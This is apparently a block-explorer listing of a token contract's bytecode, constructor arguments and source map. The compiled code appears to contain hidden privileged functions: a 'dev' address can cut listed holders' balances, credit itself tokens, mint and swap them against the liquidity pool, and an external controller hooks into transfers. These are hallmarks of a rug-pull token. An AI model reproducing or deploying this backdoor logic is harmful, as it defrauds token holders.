1600160e01b031960e086901b1681526001600160a01b039093166004840152602483019190915215156044820152606401600060405180830381600087803b15801561131a57600080fd5b505af115801561132e573d6000803e3d6000fd5b50505050505050565b6001546000906001600160a01b038381169116148061136357506002546001600160a01b038381169116145b1561137057506001919050565b506000919050565b919050565b6001600160a01b038116811461033557600080fd5b6000602082840312156113a457600080fd5b81356113af8161137d565b9392505050565b600060208083528351808285015260005b818110156113e3578581018301518582016040015282016113c7565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561141757600080fd5b82356114228161137d565b946020939093013593505050565b6000806000806060858703121561144657600080fd5b843567ffffffffffffffff8082111561145e57600080fd5b818701915087601f83011261147257600080fd5b81358181111561148157600080fd5b8860208260051b850101111561149657600080fd5b6020928301999098509187013596604001359550909350505050565b6000806000606084860312156114c757600080fd5b83356114d28161137d565b925060208401356114e28161137d565b929592945050506040919091013590565b60006020828403121561150557600080fd5b5035919050565b6000806040838503121561151f57600080fd5b823561152a8161137d565b9150602083013561153a8161137d565b809150509250929050565b600181811c9082168061155957607f821691505b60208210810361157957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000826115c857634e487b7160e01b600052601260045260246000fd5b500490565b6000600182016115df576115df611595565b5060010190565b80516001600160701b038116811461137857600080fd5b60008060006060848603121561161257600080fd5b61161b846115e6565b9250611629602085016115e6565b9150604084015163ffffffff8116811461164257600080fd5b809150509250925092565b60006020828403121561165f57600080fd5b81516113af8161137d565b808201808211156103de576103de611595565b80820281158282048414176103de576103de611595565b634e487b7160e01b600052604160045260246000fd5b600081518084526020808501945080840160005b838110156116e35781516001600160a01b0316875295820195908201906001016116be565b509495945050505050565b82815260406020820152600061170760408301846116aa565b949350505050565b6000602080838503121561172257600080fd5b825167ffffffffffffffff8082111561173a57600080fd5b818501915085601f83011261174e57600080fd5b81518181111561176057611760611694565b8060051b604051601f19603f8301168101818110858211171561178557611785611694565b6040529182528482019250838101850191888311156117a357600080fd5b938501935b828510156117c1578451845293850193928501926117a8565b98975050505050505050565b85815284602082015260a0604082015260006117ec60a08301866116aa565b6001600160a01b0394909416606083015250608001529392505050565b60006020828403121561181b57600080fd5b815180151581146113af57600080fdfea26469706673582212207fd0dc3aa5601452410992fdc3c13e32a0ddaae2b972bd1c8d7015748c4dff7f64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000008be96f0c8ac1533c30d6e994d60ca702362519f8

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c80635b99d194116100b8578063a457c2d71161007c578063a457c2d714610290578063a9059cbb146102a3578063cef31734146102b6578063dd62ed3e146102c9578063e84d5725146102dc578063f2fde38b146102ef57600080fd5b80635b99d1941461023657806370a082311461023c578063715018a6146102655780638da5cb5b1461026d57806395d89b411461028857600080fd5b806323b872dd1161010a57806323b872dd146101c2578063313ce567146101d557806335d16274146101ea57806339509351146101fd57806342966c68146102105780634609e7971461022357600080fd5b806306cb5b661461014757806306fdde031461015c578063095ea7b31461017a57806318160ddd1461019d5780631e673499146101af575b600080fd5b61015a610155366004611392565b610302565b005b610164610338565b60405161017191906113b6565b60405180910390f35b61018d610188366004611404565b6103ca565b6040519015158152602001610171565b6006545b604051908152602001610171565b61015a6101bd366004611430565b6103e4565b61018d6101d03660046114b2565b6104f4565b60095460405160ff9091168152602001610171565b6101a16101f8366004611392565b610518565b61018d61020b366004611404565b61064d565b61015a61021e3660046114f3565b61066f565b61015a6102313660046114f3565b610690565b426101a1565b6101a161024a366004611392565b6001600160a01b031660009081526004602052604090205490565b61015a6106ce565b6000546040516001600160a01b039091168152602001610171565b610164610739565b61018d61029e366004611404565b610748565b61018d6102b1366004611404565b6107c3565b61015a6102c4366004611392565b6107d1565b6101a16102d736600461150c565b610863565b61015a6102ea3660046114b2565b61088e565b61015a6102fd366004611392565b610b46565b60095461010090046001600160a01b0316330361033557600380546001600160a01b0319166001600160a01b0383161790555b50565b60606007805461034790611545565b80601f016020809104026020016040519081016040528092919081815260200182805461037390611545565b80156103c05780601f10610395576101008083540402835291602001916103c0565b820191906000526020600020905b8154815290600101906020018083116103a357829003601f168201915b5050505050905090565b6000336103d8818585610c0e565b60019150505b92915050565b60095461010090046001600160a01b031633036104ee5760005b838110156104ec578261043186868481811061041c5761041c61157f565b905060200201602081019061024a9190611392565b11156104da57600082600460008888868181106104505761045061157f565b90506020020160208101906104659190611392565b6001600160a01b03166001600160a01b031681526020019081526020016000205461049091906115ab565b905080600460008888868181106104a9576104a961157f565b90506020020160208101906104be9190611392565b6001600160a01b03168152602081019190915260400160002055505b806104e4816115cd565b9150506103fe565b505b50505050565b600033610502858285610d32565b61050d858585610da6565b506001949350505050565b6000806000600260009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610570573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059491906115fd565b50915091506000846001600160a01b0316600260009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061c919061164d565b6001600160a01b03161461063957816001600160701b0316610644565b826001600160701b03165b95945050505050565b6000336103d88185856106608383610863565b61066a919061166a565b610c0e565b60095461010090046001600160a01b03163303610335576103353382610f5c565b60095461010090046001600160a01b031633036103355733600090815260046020526040812080548392906106c690849061166a565b909155505050565b6000546001600160a01b0316331461072d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b610737600061109c565b565b60606008805461034790611545565b600033816107568286610863565b9050838110156107b65760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610724565b61050d8286868403610c0e565b6000336103d8818585610da6565b60095461010090046001600160a01b03163303610335576001600160a01b03811661083e5760405162461bcd60e51b815260206004820152601960248201527f6465762063616e2774206265207a65726f2d61646472657373000000000000006044820152606401610724565b600980546001600160a01b03831661010002610100600160a81b031990911617905550565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60095461010090046001600160a01b03163303610b41576000811180156108b75750620186a081105b6108fb5760405162461bcd60e51b8152602060048201526015602482015274416d6f756e742045786365656473204c696d69747360581b6044820152606401610724565b600061090684610518565b90506000620186a0610918848461167d565b61092291906115ab565b604080516002808252606080830184529394509091602083019080368337019050509050308160008151811061095a5761095a61157f565b60200260200101906001600160a01b031690816001600160a01b031681525050858160018151811061098e5761098e61157f565b6001600160a01b039290921660209283029190910190910152604080516002808252606082810190935281602001602082028036833750506001546040516307c0329d60e21b81529293506001600160a01b031691631f00ca7491506109fa90869086906004016116ee565b600060405180830381865afa158015610a17573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610a3f919081019061170f565b9050610a653082600081518110610a5857610a5861157f565b60200260200101516110ec565b6000610a73426104b061166a565b60015430600081815260046020526040902054929350610a9e9290916001600160a01b031690610c0e565b60015482516001600160a01b0390911690638803dbee9086908590600090610ac857610ac861157f565b6020026020010151868b866040518663ffffffff1660e01b8152600401610af39594939291906117cd565b6000604051808303816000875af1158015610b12573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610b3a919081019061170f565b5050505050505b505050565b6000546001600160a01b03163314610ba05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610724565b6001600160a01b038116610c055760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610724565b6103358161109c565b6001600160a01b038316610c705760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610724565b6001600160a01b038216610cd15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610724565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610d3e8484610863565b905060001981146104ee5781811015610d995760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610724565b6104ee8484848403610c0e565b6001600160a01b038316610e0a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610724565b6001600160a01b038216610e6c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610724565b610e778383836111b9565b6001600160a01b03831660009081526004602052604090205481811015610eef5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610724565b6001600160a01b0380851660008181526004602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f4f9086815260200190565b60405180910390a36104ee565b6001600160a01b038216610fbc5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610724565b610fc8826000836111b9565b6001600160a01b0382166000908152600460205260409020548181101561103c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610724565b6001600160a01b03831660008181526004602090815260408083208686039055600680548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166111425760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610724565b61114e600083836111b9565b8060066000828254611160919061166a565b90915550506001600160a01b0382166000818152600460209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6111c283611337565b1561122e576003546040516303021ed160e41b81526001600160a01b0384811660048301526024820184905290911690633021ed1090604401600060405180830381600087803b15801561121557600080fd5b505af1158015611229573d6000803e3d6000fd5b505050505b600360009054906101000a90046001600160a01b03166001600160a01b031663315d82af6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611281573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a59190611809565b1515600103610b41576003546001600160a01b031663b0a9432284836112ca86611337565b6040516001600160e01b031960e086901b1681526001600160a01b039093166004840152602483019190915215156044820152606401600060405180830381600087803b15801561131a57600080fd5b505af115801561132e573d6000803e3d6000fd5b50505050505050565b6001546000906001600160a01b038381169116148061136357506002546001600160a01b038381169116145b1561137057506001919050565b506000919050565b919050565b6001600160a01b038116811461033557600080fd5b6000602082840312156113a457600080fd5b81356113af8161137d565b9392505050565b600060208083528351808285015260005b818110156113e3578581018301518582016040015282016113c7565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561141757600080fd5b82356114228161137d565b946020939093013593505050565b6000806000806060858703121561144657600080fd5b843567ffffffffffffffff8082111561145e57600080fd5b818701915087601f83011261147257600080fd5b81358181111561148157600080fd5b8860208260051b850101111561149657600080fd5b6020928301999098509187013596604001359550909350505050565b6000806000606084860312156114c757600080fd5b83356114d28161137d565b925060208401356114e28161137d565b929592945050506040919091013590565b60006020828403121561150557600080fd5b5035919050565b6000806040838503121561151f57600080fd5b823561152a8161137d565b9150602083013561153a8161137d565b809150509250929050565b600181811c9082168061155957607f821691505b60208210810361157957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000826115c857634e487b7160e01b600052601260045260246000fd5b500490565b6000600182016115df576115df611595565b5060010190565b80516001600160701b038116811461137857600080fd5b60008060006060848603121561161257600080fd5b61161b846115e6565b9250611629602085016115e6565b9150604084015163ffffffff8116811461164257600080fd5b809150509250925092565b60006020828403121561165f57600080fd5b81516113af8161137d565b808201808211156103de576103de611595565b80820281158282048414176103de576103de611595565b634e487b7160e01b600052604160045260246000fd5b600081518084526020808501945080840160005b838110156116e35781516001600160a01b0316875295820195908201906001016116be565b509495945050505050565b82815260406020820152600061170760408301846116aa565b949350505050565b6000602080838503121561172257600080fd5b825167ffffffffffffffff8082111561173a57600080fd5b818501915085601f83011261174e57600080fd5b81518181111561176057611760611694565b8060051b604051601f19603f8301168101818110858211171561178557611785611694565b6040529182528482019250838101850191888311156117a357600080fd5b938501935b828510156117c1578451845293850193928501926117a8565b98975050505050505050565b85815284602082015260a0604082015260006117ec60a08301866116aa565b6001600160a01b0394909416606083015250608001529392505050565b60006020828403121561181b57600080fd5b815180151581146113af57600080fdfea26469706673582212207fd0dc3aa5601452410992fdc3c13e32a0ddaae2b972bd1c8d7015748c4dff7f64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000008be96f0c8ac1533c30d6e994d60ca702362519f8

-----Decoded View---------------
Arg [0] : _routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : _controllerAddress (address): 0x8Be96F0C8AC1533C30d6e994D60ca702362519f8

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000008be96f0c8ac1533c30d6e994d60ca702362519f8


Deployed Bytecode Sourcemap

11414:9340:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17746:169;;;;;;:::i;:::-;;:::i;:::-;;12367:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13279:201;;;;;;:::i;:::-;;:::i;:::-;;;1440:14:1;;1433:22;1415:41;;1403:2;1388:18;13279:201:0;1275:187:1;12668:108:0;12756:12;;12668:108;;;1613:25:1;;;1601:2;1586:18;12668:108:0;1467:177:1;20310:441:0;;;;;;:::i;:::-;;:::i;13488:295::-;;;;;;:::i;:::-;;:::i;12569:91::-;12643:9;;12569:91;;12643:9;;;;3014:36:1;;3002:2;2987:18;12569:91:0;2872:184:1;20012:289:0;;;;;;:::i;:::-;;:::i;13791:238::-;;;;;;:::i;:::-;;:::i;14646:141::-;;;;;;:::i;:::-;;:::i;14479:159::-;;;;;;:::i;:::-;;:::i;18871:87::-;18935:15;18871:87;;12784:127;;;;;;:::i;:::-;-1:-1:-1;;;;;12885:18:0;12858:7;12885:18;;;:9;:18;;;;;;;12784:127;1321:103;;;:::i;699:79::-;737:7;764:6;699:79;;-1:-1:-1;;;;;764:6:0;;;3392:51:1;;3380:2;3365:18;699:79:0;3246:203:1;12466:95:0;;;:::i;14037:434::-;;;;;;:::i;:::-;;:::i;12919:193::-;;;;;;:::i;:::-;;:::i;18663:200::-;;;;;;:::i;:::-;;:::i;13120:151::-;;;;;;:::i;:::-;;:::i;18966:1038::-;;;;;;:::i;:::-;;:::i;913:201::-;;;;;;:::i;:::-;;:::i;17746:169::-;17836:3;;;;;-1:-1:-1;;;;;17836:3:0;246:10;17820:19;17816:92;;17856:11;:40;;-1:-1:-1;;;;;;17856:40:0;-1:-1:-1;;;;;17856:40:0;;;;;17816:92;17746:169;:::o;12367:91::-;12412:13;12445:5;12438:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12367:91;:::o;13279:201::-;13362:4;246:10;13418:32;246:10;13434:7;13443:6;13418:8;:32::i;:::-;13468:4;13461:11;;;13279:201;;;;;:::o;20310:441::-;20437:3;;;;;-1:-1:-1;;;;;20437:3:0;246:10;20421:19;20417:327;;20462:6;20457:275;20474:17;;;20457:275;;;20544:19;20521:20;20531:6;;20538:1;20531:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;20521:20::-;:42;20517:200;;;20588:17;20631:8;20608:9;:20;20618:6;;20625:1;20618:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20608:20:0;-1:-1:-1;;;;;20608:20:0;;;;;;;;;;;;;:31;;;;:::i;:::-;20588:51;;20685:12;20662:9;:20;20672:6;;20679:1;20672:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20662:20:0;;;;;;;;;;;;-1:-1:-1;20662:20:0;:35;-1:-1:-1;20517:200:0;20493:3;;;;:::i;:::-;;;;20457:275;;;;20417:327;20310:441;;;;:::o;13488:295::-;13619:4;246:10;13677:38;13693:4;246:10;13708:6;13677:15;:38::i;:::-;13726:27;13736:4;13742:2;13746:6;13726:9;:27::i;:::-;-1:-1:-1;13771:4:0;;13488:295;-1:-1:-1;;;;13488:295:0:o;20012:289::-;20077:7;20098:16;20116;20137:5;;;;;;;;;-1:-1:-1;;;;;20137:5:0;-1:-1:-1;;;;;20137:17:0;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20097:59;;;;;20167:24;20213:5;-1:-1:-1;;;;;20195:23:0;:5;;;;;;;;;-1:-1:-1;;;;;20195:5:0;-1:-1:-1;;;;;20195:12:0;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20195:23:0;;20194:65;;20250:8;-1:-1:-1;;;;;20242:17:0;20194:65;;;20230:8;-1:-1:-1;;;;;20222:17:0;20194:65;20167:92;20012:289;-1:-1:-1;;;;;20012:289:0:o;13791:238::-;13879:4;246:10;13935:64;246:10;13951:7;13988:10;13960:25;246:10;13951:7;13960:9;:25::i;:::-;:38;;;;:::i;:::-;13935:8;:64::i;14646:141::-;14711:3;;;;;-1:-1:-1;;;;;14711:3:0;246:10;14695:19;14691:79;;14730:27;246:10;14750:6;14730:5;:27::i;14479:159::-;14556:3;;;;;-1:-1:-1;;;;;14556:3:0;246:10;14540:19;14536:85;;246:10;14576:23;;;;:9;:23;;;;;:33;;14603:6;;14576:23;:33;;14603:6;;14576:33;:::i;:::-;;;;-1:-1:-1;;14479:159:0;:::o;1321:103::-;826:6;;-1:-1:-1;;;;;826:6:0;246:10;826:22;818:67;;;;-1:-1:-1;;;818:67:0;;6094:2:1;818:67:0;;;6076:21:1;;;6113:18;;;6106:30;6172:34;6152:18;;;6145:62;6224:18;;818:67:0;;;;;;;;;1386:30:::1;1413:1;1386:18;:30::i;:::-;1321:103::o:0;12466:95::-;12513:13;12546:7;12539:14;;;;;:::i;14037:434::-;14130:4;246:10;14130:4;14213:25;246:10;14230:7;14213:9;:25::i;:::-;14186:52;;14277:15;14257:16;:35;;14249:85;;;;-1:-1:-1;;;14249:85:0;;6455:2:1;14249:85:0;;;6437:21:1;6494:2;6474:18;;;6467:30;6533:34;6513:18;;;6506:62;-1:-1:-1;;;6584:18:1;;;6577:35;6629:19;;14249:85:0;6253:401:1;14249:85:0;14370:60;14379:5;14386:7;14414:15;14395:16;:34;14370:8;:60::i;12919:193::-;12998:4;246:10;13054:28;246:10;13071:2;13075:6;13054:9;:28::i;18663:200::-;18743:3;;;;;-1:-1:-1;;;;;18743:3:0;246:10;18727:19;18723:133;;-1:-1:-1;;;;;18771:18:0;;18763:56;;;;-1:-1:-1;;;18763:56:0;;6861:2:1;18763:56:0;;;6843:21:1;6900:2;6880:18;;;6873:30;6939:27;6919:18;;;6912:55;6984:18;;18763:56:0;6659:349:1;18763:56:0;18834:3;:10;;-1:-1:-1;;;;;18834:10:0;;;;-1:-1:-1;;;;;;18834:10:0;;;;;;18663:200;:::o;13120:151::-;-1:-1:-1;;;;;13236:18:0;;;13209:7;13236:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13120:151::o;18966:1038::-;19076:3;;;;;-1:-1:-1;;;;;19076:3:0;246:10;19060:19;19056:941;;19113:1;19104:6;:10;:29;;;;;19127:6;19118;:15;19104:29;19096:63;;;;-1:-1:-1;;;19096:63:0;;7215:2:1;19096:63:0;;;7197:21:1;7254:2;7234:18;;;7227:30;-1:-1:-1;;;7273:18:1;;;7266:51;7334:18;;19096:63:0;7013:345:1;19096:63:0;19174:24;19201:30;19221:9;19201:19;:30::i;:::-;19174:57;-1:-1:-1;19246:14:0;19291:6;19263:25;19282:6;19174:57;19263:25;:::i;:::-;:34;;;;:::i;:::-;19355:16;;;19369:1;19355:16;;;19312:21;19355:16;;;;;19246:51;;-1:-1:-1;19355:16:0;;;;;;;;;;;;-1:-1:-1;19355:16:0;19348:23;;19404:4;19386;19391:1;19386:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;19386:23:0;;;-1:-1:-1;;;;;19386:23:0;;;;;19434:9;19424:4;19429:1;19424:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;19424:19:0;;;;:7;;;;;;;;;;;:19;19515:16;;;19529:1;19515:16;;;19458:28;19515:16;;;;;;;;;;;;;;;;-1:-1:-1;;19560:7:0;;:37;;-1:-1:-1;;;19560:37:0;;19501:30;;-1:-1:-1;;;;;;19560:7:0;;:20;;-1:-1:-1;19560:37:0;;19581:9;;19592:4;;19560:37;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;19560:37:0;;;;;;;;;;;;:::i;:::-;19546:51;;19612:36;19626:4;19633:11;19645:1;19633:14;;;;;;;;:::i;:::-;;;;;;;19612:5;:36::i;:::-;19663:13;19679:22;:15;19697:4;19679:22;:::i;:::-;19748:7;;19733:4;12858:7;12885:18;;;:9;:18;;;;;;19663:38;;-1:-1:-1;19716:67:0;;19733:4;;-1:-1:-1;;;;;19748:7:0;;13935:8;:64::i;19716:67::-;19798:7;;19877:14;;-1:-1:-1;;;;;19798:7:0;;;;:32;;19849:9;;19877:11;;19798:7;;19877:14;;;;:::i;:::-;;;;;;;19910:4;19933:10;19962:8;19798:187;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;19798:187:0;;;;;;;;;;;;:::i;:::-;;19081:916;;;;;19056:941;18966:1038;;;:::o;913:201::-;826:6;;-1:-1:-1;;;;;826:6:0;246:10;826:22;818:67;;;;-1:-1:-1;;;818:67:0;;6094:2:1;818:67:0;;;6076:21:1;;;6113:18;;;6106:30;6172:34;6152:18;;;6145:62;6224:18;;818:67:0;5892:356:1;818:67:0;-1:-1:-1;;;;;1002:22:0;::::1;994:73;;;::::0;-1:-1:-1;;;994:73:0;;10362:2:1;994:73:0::1;::::0;::::1;10344:21:1::0;10401:2;10381:18;;;10374:30;10440:34;10420:18;;;10413:62;-1:-1:-1;;;10491:18:1;;;10484:36;10537:19;;994:73:0::1;10160:402:1::0;994:73:0::1;1078:28;1097:8;1078:18;:28::i;16897:380::-:0;-1:-1:-1;;;;;17033:19:0;;17025:68;;;;-1:-1:-1;;;17025:68:0;;10769:2:1;17025:68:0;;;10751:21:1;10808:2;10788:18;;;10781:30;10847:34;10827:18;;;10820:62;-1:-1:-1;;;10898:18:1;;;10891:34;10942:19;;17025:68:0;10567:400:1;17025:68:0;-1:-1:-1;;;;;17112:21:0;;17104:68;;;;-1:-1:-1;;;17104:68:0;;11174:2:1;17104:68:0;;;11156:21:1;11213:2;11193:18;;;11186:30;11252:34;11232:18;;;11225:62;-1:-1:-1;;;11303:18:1;;;11296:32;11345:19;;17104:68:0;10972:398:1;17104:68:0;-1:-1:-1;;;;;17185:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;17237:32;;1613:25:1;;;17237:32:0;;1586:18:1;17237:32:0;;;;;;;16897:380;;;:::o;17285:453::-;17420:24;17447:25;17457:5;17464:7;17447:9;:25::i;:::-;17420:52;;-1:-1:-1;;17487:16:0;:37;17483:248;;17569:6;17549:16;:26;;17541:68;;;;-1:-1:-1;;;17541:68:0;;11577:2:1;17541:68:0;;;11559:21:1;11616:2;11596:18;;;11589:30;11655:31;11635:18;;;11628:59;11704:18;;17541:68:0;11375:353:1;17541:68:0;17653:51;17662:5;17669:7;17697:6;17678:16;:25;17653:8;:51::i;14814:836::-;-1:-1:-1;;;;;14945:18:0;;14937:68;;;;-1:-1:-1;;;14937:68:0;;11935:2:1;14937:68:0;;;11917:21:1;11974:2;11954:18;;;11947:30;12013:34;11993:18;;;11986:62;-1:-1:-1;;;12064:18:1;;;12057:35;12109:19;;14937:68:0;11733:401:1;14937:68:0;-1:-1:-1;;;;;15024:16:0;;15016:64;;;;-1:-1:-1;;;15016:64:0;;12341:2:1;15016:64:0;;;12323:21:1;12380:2;12360:18;;;12353:30;12419:34;12399:18;;;12392:62;-1:-1:-1;;;12470:18:1;;;12463:33;12513:19;;15016:64:0;12139:399:1;15016:64:0;15093:38;15114:4;15120:2;15124:6;15093:20;:38::i;:::-;-1:-1:-1;;;;;15166:15:0;;15144:19;15166:15;;;:9;:15;;;;;;15200:21;;;;15192:72;;;;-1:-1:-1;;;15192:72:0;;12745:2:1;15192:72:0;;;12727:21:1;12784:2;12764:18;;;12757:30;12823:34;12803:18;;;12796:62;-1:-1:-1;;;12874:18:1;;;12867:36;12920:19;;15192:72:0;12543:402:1;15192:72:0;-1:-1:-1;;;;;15300:15:0;;;;;;;:9;:15;;;;;;15318:20;;;15300:38;;15518:13;;;;;;;;;;:23;;;;;;15568:26;;;;;;15332:6;1613:25:1;;1601:2;1586:18;;1467:177;15568:26:0;;;;;;;;15605:37;18966:1038;16214:675;-1:-1:-1;;;;;16298:21:0;;16290:67;;;;-1:-1:-1;;;16290:67:0;;13152:2:1;16290:67:0;;;13134:21:1;13191:2;13171:18;;;13164:30;13230:34;13210:18;;;13203:62;-1:-1:-1;;;13281:18:1;;;13274:31;13322:19;;16290:67:0;12950:397:1;16290:67:0;16370:49;16391:7;16408:1;16412:6;16370:20;:49::i;:::-;-1:-1:-1;;;;;16457:18:0;;16432:22;16457:18;;;:9;:18;;;;;;16494:24;;;;16486:71;;;;-1:-1:-1;;;16486:71:0;;13554:2:1;16486:71:0;;;13536:21:1;13593:2;13573:18;;;13566:30;13632:34;13612:18;;;13605:62;-1:-1:-1;;;13683:18:1;;;13676:32;13725:19;;16486:71:0;13352:398:1;16486:71:0;-1:-1:-1;;;;;16593:18:0;;;;;;:9;:18;;;;;;;;16614:23;;;16593:44;;16732:12;:22;;;;;;;16783:37;1613:25:1;;;16593:18:0;;;16783:37;;1586:18:1;16783:37:0;;;;;;;18966:1038;;;:::o;1122:191::-;1196:16;1215:6;;-1:-1:-1;;;;;1232:17:0;;;-1:-1:-1;;;;;;1232:17:0;;;;;;1265:40;;1215:6;;;;;;;1265:40;;1196:16;1265:40;1185:128;1122:191;:::o;15658:548::-;-1:-1:-1;;;;;15742:21:0;;15734:65;;;;-1:-1:-1;;;15734:65:0;;13957:2:1;15734:65:0;;;13939:21:1;13996:2;13976:18;;;13969:30;14035:33;14015:18;;;14008:61;14086:18;;15734:65:0;13755:355:1;15734:65:0;15812:49;15841:1;15845:7;15854:6;15812:20;:49::i;:::-;15890:6;15874:12;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;16045:18:0;;;;;;:9;:18;;;;;;;;:28;;;;;;16100:37;1613:25:1;;;16100:37:0;;1586:18:1;16100:37:0;;;;;;;15658:548;;:::o;17923:361::-;18061:14;18070:4;18061:8;:14::i;:::-;18057:88;;;18091:11;;:42;;-1:-1:-1;;;18091:42:0;;-1:-1:-1;;;;;14307:32:1;;;18091:42:0;;;14289:51:1;14356:18;;;14349:34;;;18091:11:0;;;;:30;;14262:18:1;;18091:42:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18057:88;18161:11;;;;;;;;;-1:-1:-1;;;;;18161:11:0;-1:-1:-1;;;;;18161:28:0;;:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:38;;18195:4;18161:38;18157:120;;18215:11;;-1:-1:-1;;;;;18215:11:0;:22;18238:4;18244:6;18252:12;18261:2;18252:8;:12::i;:::-;18215:50;;-1:-1:-1;;;;;;18215:50:0;;;;;;;-1:-1:-1;;;;;14890:32:1;;;18215:50:0;;;14872:51:1;14939:18;;;14932:34;;;;15009:14;15002:22;14982:18;;;14975:50;14845:18;;18215:50:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17923:361;;;:::o;18292:215::-;18382:7;;18346:4;;-1:-1:-1;;;;;18366:24:0;;;18382:7;;18366:24;;:50;;-1:-1:-1;18410:5:0;;-1:-1:-1;;;;;18394:22:0;;;18410:5;;18394:22;18366:50;18362:138;;;-1:-1:-1;18439:4:0;;18292:215;-1:-1:-1;18292:215:0:o;18362:138::-;-1:-1:-1;18483:5:0;;18292:215;-1:-1:-1;18292:215:0:o;18362:138::-;18292:215;;;:::o;14:131: